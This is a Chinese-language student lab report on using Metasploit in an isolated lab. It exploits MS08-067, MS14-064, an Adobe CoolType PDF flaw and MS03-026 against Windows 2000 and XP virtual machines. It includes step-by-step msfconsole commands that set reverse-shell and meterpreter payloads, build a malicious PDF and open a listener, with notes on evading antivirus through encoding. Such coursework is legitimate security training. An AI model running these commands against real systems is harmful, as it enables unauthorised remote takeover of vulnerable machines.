一、實驗目標
掌握metasploit的基本應用方式,重點常用的三種攻擊方式的思路。
二、預備知識
(1)MS08-067
漏洞描述
MS08-067漏洞的全稱為“Windows Server服務RPC請求緩沖區溢出漏洞”,如果用戶在受影響的系統上收到特制的 RPC 請求,則該漏洞可能允許遠程執行代碼。在Windows 2000、Windows XP 和 Windows Server 2003 系統上,攻擊者可能未經身份驗證即可利用此漏洞運行任意代碼,此漏洞可用於進行蠕蟲攻擊,目前已經有利用該漏洞的蠕蟲病毒。防火牆最佳做法和標准的默認防火牆配置,有助於保護網絡資源免受從企業外部發起的攻擊,默認情況下能建立空連接。
攻擊原理
MS08_067漏洞攻擊原理是攻擊者利用受害者主機默認開放的SMB服務端口445,發送惡意資料到該端口,通過MSRPC接口調用Server服務的一個函數,並破壞程序的棧緩沖區,獲得遠程代碼執行(Remote Code Execution)權限,從而完全控制主機。
源碼分析
MS08_67漏洞是通過MSRPC over SMB通道調用Server服務程序中的NetPathCanonicalize
函數時觸發的,而在遠程訪問其他主機時,會調用NetpwPathCanonicalize
函數,對遠程訪問的路徑進行規范化,而在NetpwPathCanonicalize
函數中發生了棧緩沖區內存錯誤,造成可被利用實施遠程代碼執行。
(2)MS14-064
漏洞描述
Microsoft Windows OLE遠程代碼執行漏洞,OLE(對象鏈接與嵌入)是一種允許應用程序共享數據和功能的技術。成功利用這些漏洞的攻擊者可以在當前用戶的上下文中運行任意代碼。如果當前用戶使用管理用戶權限登錄,則攻擊者可隨后安裝程序;查看、更改或刪除數據;或者創建擁有完全用戶權限的新帳戶。那些帳戶被配置為擁有較少用戶權限的用戶比具有管理用戶權限的用戶受到的影響要小。 對於 Microsoft Windows 所有受支持的版本,此安全更新的等級為“嚴重”。
漏洞原理
遠程攻擊者利用此漏洞通過構造的網站執行任意代碼,影響Win95+IE3 – Win10+IE11全版本...
(3)Adobe
漏洞原理
通過社會工程學探測到目標用戶的郵箱,即時通信賬戶個人信息,凈額以文檔發送給用戶,打開文檔就會觸發惡意漏洞。
(4)MS03_026
漏洞描述
此漏洞由lds-pl.net漏洞研究組在2003年7月16日發現,漏洞及exp在網上公開后,網上出現了大量的×××實例,利用此漏洞的蠕蟲也大量出現。
漏洞原理
微軟修改dcerpc框架后形成自己的RPC框架來處理進程間的通信。微軟的RPC框架在處理TCP/IP信息交換過程中存在的畸形消息時,未正確處理,導致緩沖區溢出漏洞;此漏洞影響使用RPC框架的DCOM接口,DCOM接口用來處理客戶端機器發送給服務器的DCOM對象激活請求,如UNC路徑。
(5)MSF模塊使用詳解
msfconsole
進入控制台- 確定你要找的漏洞,然后輸入
search 漏洞名
查找相應模塊
info
查看靶機適用范圍
show payloads
查看相關載荷set payload generic/shell_reverse_tcp
選擇載荷show options
查看相關參數
- 進行參數配置
set RHOST 192.168.186.137//靶機IP
set LPORT 5313
set LHOST 192.168.186.128//攻擊機IP
set target 0
- 利用輔助模塊查看端口是否開啟(默認端口為445)
msfconsole//進入控制台
search portscan //搜索端口
use auxiliary/scanner/portscan/tcp //使用漏洞模塊
set RHOSTS 192.168.186.137 //設置靶機地址
exploit //攻擊
exploit
偵聽
無會話已創建
猜測是使用的漏洞對XP不起作用。應該是XP版本的問題。后面換了WIN SERVER2000成功,詳情見任務一。
三、實驗內容
任務一:一個主動攻擊實踐MS08-067
靶機:Microsoft Windows 2000(192.168.186.138)
攻擊機:kali(192.168.186.128)
use exploit/windows/smb/ms08_067_netapi //選擇攻擊模塊
set payload generic/shell_reverse_tcp //選擇攻擊載荷
show options //查看配置信息
set RHOST 192.168.186.138 //設置靶機IP,端口默認為445
set LPORT 5313
set LHOST 192.168.186.128 //設置攻方IP
set target 1 //這里為WIN SERVER2000(可通過“show targets”查看可攻擊的平台)
exploit
- 回連成功后,使用
ipconfig
驗證是否回連正確
任務二:一個針對瀏覽器的攻擊MS14-064
靶機:Microsoft Windows XP(192.168.186.137)
攻擊機:kali(192.168.186.128)
msfconsole
use exploit/windows/browser/ms14_064_ole_code_execution //選擇攻擊模塊
show payloads //顯示可用攻擊載荷
set payload windows/meterpreter/reverse_tcp
set SRVHOST 192.168.186.128 //設置攻擊機IP
set AllowPowerShellPrompt 1 //因為msf中自帶的漏洞利用exp調用的是powershell,所以msf中的exp代碼只對安裝powershell的系統生效
set LHOST 192.168.186.128
set LPORT 5313
set target 0 //設置winXP靶機
exploit
- 將生成的URL地址在winXP的IE瀏覽器中打開,發現成功建立了一個會話
- 此時可以用ctrl+c退出當前狀態,通過輸入
sessions -i 1
獲取第一個會話連接,並輸入ipconfig
驗證是否為靶機地址
任務三:一個針對客戶端的攻擊Adobe
靶機:Microsoft Windows XP(192.168.186.137)
攻擊機:kali(192.168.186.128)
msfconsole
use windows/fileformat/adobe_cooltype_sing //選擇攻擊模塊
set payload windows/meterpreter/reverse_tcp
set LHOST 192.168.186.128 //攻擊機 IP
set LPORT 5313
set FILENAME zlx5313.pdf //設置生成的pdf文件名
exploit //發起攻擊
- 生成zlx5313.pdf,進入保存目錄
cd /home/kali/.msf4/local
,輸入cp zlx5313.pdf /home/kali/Desktop
將生成的zlx5313.pdf復制到桌面,然后在拖到主機WIN10上,再從WIN10拖到靶機WIN XP上。(為什么不直接通過nc傳給XP,后面遇到的問題中會提到) - 控制台中輸入
back
退出當前模塊,輸入以下命令進入監聽模塊:
use exploit/multi/handler //進入監聽模塊
set payload windows/meterpreter/reverse_tcp
set LHOST 192.168.186.128 //攻擊機 IP
set LPORT 5313
exploit
- 靶機中打開zlx5313.pdf文件,靶機上鈎,攻擊成功
- kali中發現回連成功,輸入
ipconfig
確認是否回連正確
任務四:成功應用任何一個輔助模塊MS03_026(唯一)
靶機:Microsoft Windows 2000/XP(192.168.186.138/137)
攻擊機:kali(192.168.186.128)
msfconsole
use exploit/windows/dcerpc/ms03_026_dcom //選擇攻擊模塊
show target //查看適用范圍
set payload windows/meterpreter/reverse_tcp
set LHOST 192.168.186.128 //攻擊機 IP
set LPORT 5313
set RHOST 192.168.186.137/138 //XP/2000
set RPORT 5313
run
- 將RHOST改為135(原默認狀態),LPORT也改為135,WIN SERVER 2000成功
- WIN XP沒反應
四、實驗過程中遇到的問題
- 問題1:使用nc(詳情見實驗二)將kali中產生的pdf文件傳給win xp出現文件損壞。
- 解決方法1:保存目錄
cd /home/kali/.msf4/local
,輸入cp zlx5313.pdf /home/kali/Desktop
將生成的zlx5313.pdf復制到桌面,然后在拖到主機WIN10上,再從WIN10拖到靶機WIN XP上。 - 問題2:對MS03_026漏洞進行滲透攻擊時,出現
exploit failed
- 135端口:主要用於使用RPC(Remote Procedure Call,遠程過程調用)協議並提供DCOM(分布式組件對象模型)服務,通過RPC可以保證在一台計算機上運行的程序可以順利地執行遠程計算機上的代碼;使用DCOM可以通過網絡直接進行通信,能夠包括HTTP協議在內的多種網絡傳輸。
- 解決方法2:將RHOST改為135(原默認狀態),LPORT也改為135
五、實驗思考
(1)用自己的話解釋什么是exploit,payload,encode。
- exploit:攻擊。我覺得就是對漏洞的攻擊,也就是通過漏洞對靶機進行一些非授權操作。
- payload:載荷。也就是一段shellcode攻擊代碼,在利用漏洞對靶機進行一系列操作的過程中,實質上進行執行shellcode代碼。
- encode:編碼。查看了一下
/usr/share/metasploit-framework/modules/encoders
文件夾下的內容,我認為encode就是通過改變shellcode的編碼格式來對攻擊代碼進行偽裝,使其能正常運行並盡量免殺。
(2)離實戰還缺些什么技術或步驟?
- 目前我所掌握的這些滲透技術都需要特定的windows版本支持。
- 我的這些滲透攻擊的方法大部分都是網上已有的教程,網絡信息廣為流傳,我能看到,修復漏洞的產家也必定能看到,所以他們肯定會針對這些漏洞進行修補。我使用的都是一些比較老的漏洞利用,隨着windows版本的更新,這些漏洞已經被漸漸修復了,實用價值已經越來越低了。
六、實踐體會
- 本次實驗,更加加深了我對MSF模塊的使用。並且對於特定漏洞的利用也掌握的比較熟練了。
- 這么6個實驗下來,使我養成做事情有條不紊一步一步的進行的習慣。讓我感受到其實簡單是滲透攻擊還挺有意思的。
- 首先就是查找相關漏洞名,然后根據漏洞名選取相應模塊,在查看模塊所需參數,進行相關參數配置,
exploit
就可以等待靶機上鈎了。